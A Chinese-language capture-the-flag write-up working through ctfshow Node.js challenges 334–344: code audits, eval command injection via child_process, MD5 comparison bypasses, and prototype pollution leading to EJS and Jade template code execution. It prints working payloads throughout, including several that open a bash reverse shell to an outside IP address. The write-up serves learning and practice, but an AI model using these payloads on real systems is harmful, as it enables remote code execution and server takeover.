还是老规矩,边写边学,先分享两篇文章
深入理解 JavaScript Prototype 污染攻击 | 离别歌
《JavaScript百炼成仙》 全书知识点整理-CSDN博客
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
334-js审计
var express = require('express');
// 引入 Express 框架,这是一个流行的 Node.js Web 应用框架,用于构建服务器和处理 HTTP 请求。var router = express.Router();
// 创建一个路由器对象,用于定义路由中间件和路由句柄。路由器可以模块化地管理路由。var users = require('../modules/user').items;
// 引入用户模块中的用户数据,假设用户模块导出了一个包含用户信息的对象或数组。var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
// 定义一个查找用户函数,用于在用户数据中查找匹配的用户名和密码的用户。
// 参数:
// name: 用户名
// password: 密码
// 返回值:
// 如果找到匹配的用户,返回该用户对象;否则返回 undefined。
// 逻辑:
// 首先检查用户名是否不等于 'CTFSHOW',这是为了避免某些特殊情况或保留用户名的登录。
// 然后将用户名转换为大写(name.toUpperCase()),以实现不区分大小写的用户名匹配。
// 最后检查用户的密码是否与提供的密码匹配。/* GET home page. */
// 这是一个注释,表示下面的路由处理函数是用于处理首页的 GET 请求。
// 但实际上,下面的代码是处理 POST 请求,可能是注释有误。router.post('/', function(req, res, next) {
// 定义一个处理 POST 请求的路由,路径为 '/'。
// 参数:
// req: 请求对象,包含客户端发送的请求信息。
// res: 响应对象,用于向客户端发送响应。
// next: 函数,用于将控制权传递给下一个中间件或路由处理函数。res.type('html');// 设置响应的内容类型为 HTML,这样浏览器会将响应内容解析为 HTML 页面。var flag='flag_here';// 定义一个变量 flag,值为 'flag_here',这可能是用于某些特殊功能或测试的标记。var sess = req.session;// 获取请求对象中的会话对象,用于管理用户会话。var user = findUser(req.body.username, req.body.password);// 调用 findUser 函数,使用请求体中的用户名和密码查找用户。// req.body.username 是客户端发送的用户名,req.body.password 是客户端发送的密码。if(user){// 如果找到用户,执行以下代码块。req.session.regenerate(function(err) {// 重新生成会话 ID,这通常用于安全目的,以防止会话固定攻击。// 参数:// err: 错误对象,如果重新生成会话 ID 时发生错误,会传递给回调函数。if(err){// 如果发生错误,执行以下代码块。return res.json({ret_code: 2, ret_msg: '登录失败'});// 向客户端发送 JSON 响应,表示登录失败,错误代码为 2,消息为 '登录失败'。// return 用于立即返回响应,阻止后续代码执行。}req.session.loginUser = user.username;// 将找到的用户名存储到会话中,表示用户已登录。res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});// 向客户端发送 JSON 响应,表示登录成功,错误代码为 0,消息为 '登录成功',并包含 flag 值。});}else{// 如果未找到用户,执行以下代码块。res.json({ret_code: 1, ret_msg: '账号或密码错误'});// 向客户端发送 JSON 响应,表示账号或密码错误,错误代码为 1,消息为 '账号或密码错误'。}
});
// 结束路由处理函数的定义。module.exports = router;
// 导出路由器对象,以便在其他模块中使用该路由。
module.exports = {
// 将模块的 exports 对象设置为一个包含 items 属性的对象,这样其他模块可以通过 require 引入该模块并访问 items 数据。items: [// 定义一个数组,数组中包含用户对象,用于存储用户信息。{username: 'CTFSHOW', password: '123456'}// 用户对象,包含用户名和密码属性。// username: 'CTFSHOW',表示用户名为 CTFSHOW。// password: '123456',表示该用户的密码为 123456。]
};
审计一下代码
name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
就这段是核心,审计代码知道要让findUser为true,必须要让name!=CTFSHOW,但是转换为大写后等于CTFSHOW,然后密码是123456。显然name为小写就行,即等于ctfshow
所以只需要传参username=ctfshow&password=123456即可(直接登入框打也行)
335 -js命令执行
看源码有点提示。 然后去搜了一些js中eval的用法
eval() - JavaScript | MDN
那不出意外源码就是执行了console.log(eval("2 + 2"));所以接下来要找执行命令的函数,这里显然是用child_process
模块,具体可看下面的文章
child_process 子进程 | Node.js v23 文档
先导入child_process模块,再执行命令查看路径
下面3个都可以查看路径,但是只有后两个可以执行命令,具体可以看文章
学习一些payload
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
336-exec被过滤
exec被过滤
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
也可以拼接绕过
?eval=require('child_process')['ex'%2B'ecSync']('ls')
还有解法传?eval=__filename可以看到路径为/app/routes/index.js(__filename :返回当前模块文件的绝对路径)
打下面这个payload看到源码
?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')
?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt')
337-js之语法
var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var crypto = require('crypto'); // 引入crypto模块,用于加密操作// 定义一个函数,用于计算字符串的md5值
function md5(s) {return crypto.createHash('md5') // 创建一个md5加密算法的hash对象.update(s) // 将要加密的字符串传入hash对象.digest('hex'); // 将加密后的结果以16进制字符串的形式返回
}/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.get('/', function(req, res, next) { // 使用get方法监听根路径'/'的请求res.type('html'); // 设置响应的内容类型为htmlvar flag='xxxxxxx'; // 定义一个变量flag,值为'xxxxxxx',可能是某种标志或密钥var a = req.query.a; // 获取请求参数a的值,req.query用于获取url中的查询参数var b = req.query.b; // 获取请求参数b的值// 判断a和b是否都存在,且长度相等,且不相等,且a拼接flag后的md5值等于b拼接flag后的md5值if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag); // 如果满足条件,直接返回flag}else{res.render('index',{ msg: 'tql'}); // 如果不满足条件,渲染index页面,并传入msg参数值为'tql'}});module.exports = router; // 将路由对象导出,以便在其他文件中使用
这里a,b没限制string,那肯定要用数组绕过。审计代码知道a,b要满足a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)。学习了下面的文章
Ctfshow web入门 nodejs篇 web334-web344_web334 ctfshow-CSDN博客
方法一
a={'x':'1'}
b={'x':'2'}console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
索引这里只需要满足中括号里面是非数字就行(因为长度要一样),a,b的只随便,比如a[:]=1&b[:]=2,或者a[c]=2&b[f]=3不管咋样结果都是[object Object]flag{xxx}
方法二
打a[]=x&b[]=x,这样console.log(a+flag)结果是x(同理b也是,所以md5也相等),这个a[0]=x&b[0]=x也行。
方法三
?a[]=x&b=x。首先要知道[‘a’]+flag= = =‘a’+flag,所以自然md5加密相同
338-原型链污染
这里再把p神的文章看一下,再做题显然更流畅
深入理解 JavaScript Prototype 污染攻击 | 离别歌
题目给了源码,审计一下源码,,发现两段核心代码
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
显然这个函数是递归,作用是将 object2
的所有可枚举属性(key)复制到 object1
中。如果属性值key,object2有,object1没有,就直接object2复制给1,这个key如果是__proto__
,就可以原型链污染。
再分析下面代码,secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断 secert.ctfshow==='36dboy'时,找不到ctfshow,会从Object里面找。
var express = require('express'); // 引入express框架,用于创建web服务器
var router = express.Router(); // 创建一个路由对象,用于定义路由规则
var utils = require('../utils/common'); // 引入一个自定义的工具模块,路径是相对于当前文件的../utils/common.js/* GET home page. */ // 定义一个路由规则,当访问首页时触发
router.post('/', require('body-parser').json(), function(req, res, next) { // 使用post方法监听根路径'/'的请求,并使用body-parser中间件解析json格式的请求体res.type('html'); // 设置响应的内容类型为htmlvar flag='flag_here'; // 定义一个变量flag,值为'flag_here',可能是某种标志或密钥var secert = {}; // 定义一个空对象secert,可能用于存储某些秘密信息var sess = req.session; // 获取请求的会话对象,用于管理用户会话let user = {}; // 定义一个空对象user,用于存储用户信息utils.copy(user, req.body); // 使用utils模块的copy方法将请求体中的数据复制到user对象中// 判断secert对象的ctfshow属性是否等于'36dboy'if(secert.ctfshow==='36dboy'){res.end(flag); // 如果条件满足,直接返回flag}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); // 如果条件不满足,返回一个json格式的响应,包含错误代码和消息}});module.exports = router; // 将路由对象导出,以便在其他文件中使用
在这段代码中,服务器使用 body-parser
中间件来解析 JSON 格式的请求体。因此,客户端需要以 JSON 格式发送数据。所以这里post传json格式的数据,所以最后格式就是post传(记得先登入框抓包,再改数据)
{"__proto__":{"ctfshow":"36dboy"}}
339 -反弹shell污染
题目给了源码,审计一下,发现三段重要的代码
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');function User(){this.username='';this.password='';
}
function normalUser(){this.user
}/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); }});module.exports = router;
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;
这题多了一个api.js,而且login.js中secert.cftshow===flag,这个flag是不知道的。
Function(query)是一个函数构造器,它将一个字符串参数(query)作为函数体,然后返回一个新的函数。这个新
的函数可以接受任意数量的参数并执行query字符串中的JavaScript代码。而后面的(query)则是将这个新生成的函数再次调用,并将参数query传递给它。由于这里的参数名和函数体的字
符串内容是一致的,因此实际上相当于是将query字符串解析成了一个函数并立即执行这个函数,返回值作为整个
语句的结果。
ctfshow web入门 nodejs 334-341(更新中)_ctfshow web入门 nodejs篇 web334-web344-CSDN博客
而且res.render在渲染视图模板的时候,会生成一个响应里面有参数传给客户端,然后我们这里第二参数是
query,那么他就会自动去Object寻找值并返回。所以我们只要让Object.prototype下面的query的值为我们想
要执行命令就可以了,这里我们可以通过login.js中的copy方法来执行
接下来login的post打反弹shell
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}
然后路由改为api发包,结果是这样就对
flag在login.js里
下面的paylaod本来按道理可以打,但是打不了 ,后面搜了一下文章,是因为 node 是基于 chrome v8 内核的,运行时,压根就不会有 require
这种关键字,模块加载不进来,自然 shell 就反弹不了了。但在 node交互环境,或者写 js 文件时,通过 node 运行会自动把 require
进行编译。下面的文章很详细可以仔细看看
nodejs - web339 原型链污染 - 《CTF show》 - 极客文档
{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}
非预期
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}
340-二次污染链-反弹shell
这题与上题就这有点不同
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'}); }
上一题从secert对象进行污染,secert对象上一级就是object,所以污染一次就行了。这一题从userinfo对象进行污染,userinfo对象上一级是user对象,user对象上一级就是object,所以需要污染两次。
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}
开始我有问题,就是为什么不直接将isAdmin的属性污染成true,后面翻了翻资料发现,首先,user是有isAdmin的属性(false),而子类是不能污染父类已有的属性,只能污染父类没有的属性,也就是增加属性,就算你污染了object,当userinfo向上查找是发现user的isadmin属性是false就停止了。所以我们还是污染2次,进行反弹shell
flag在环境变量里,打env即可
341.污染链之ejs模板引擎漏洞。
这题删除了api,login.js也修改了
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: '登录成功'}); }else{return res.json({ret_code: 2, ret_msg: '登录失败'}); }
说实话,有点看不到懂,看来很多文章此题都是直接打payload,说什么打ejs模板引擎漏洞,分享一篇文章吧
文章 - Ejs模板引擎注入实现RCE - 先知社区
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"');var __tmp2"}}}
login中post打这个paylaod,然后删除payload再次发包即可,flag还是在环境里。
342-343.污染链之jade rce
这题看来很多文章还是没看懂,代码功力太弱了,直接打payload
nodejs - web342 原型链污染 - 《CTF show》 - 极客文档
文章 - 再探 JavaScript 原型链污染到 RCE - 先知社区
依旧login.js中post打这个paylaod(请求头中的“Content-Type”改为"application/json"),然后删除payload再次发包即可,flag还是在环境里。
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/101.200.39.193/5000 0>&1\"')"}}}
344
题目页面给了代码
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});
看代码本来只需传?query={"name":"admin","password":"ctfshow","isVIP"=true},但是正则过滤了8c,2c,还有逗号,所以改成
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但是双引号的正则是%22与c连在一起匹配到了正则,所以url编码c即可,最终是
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}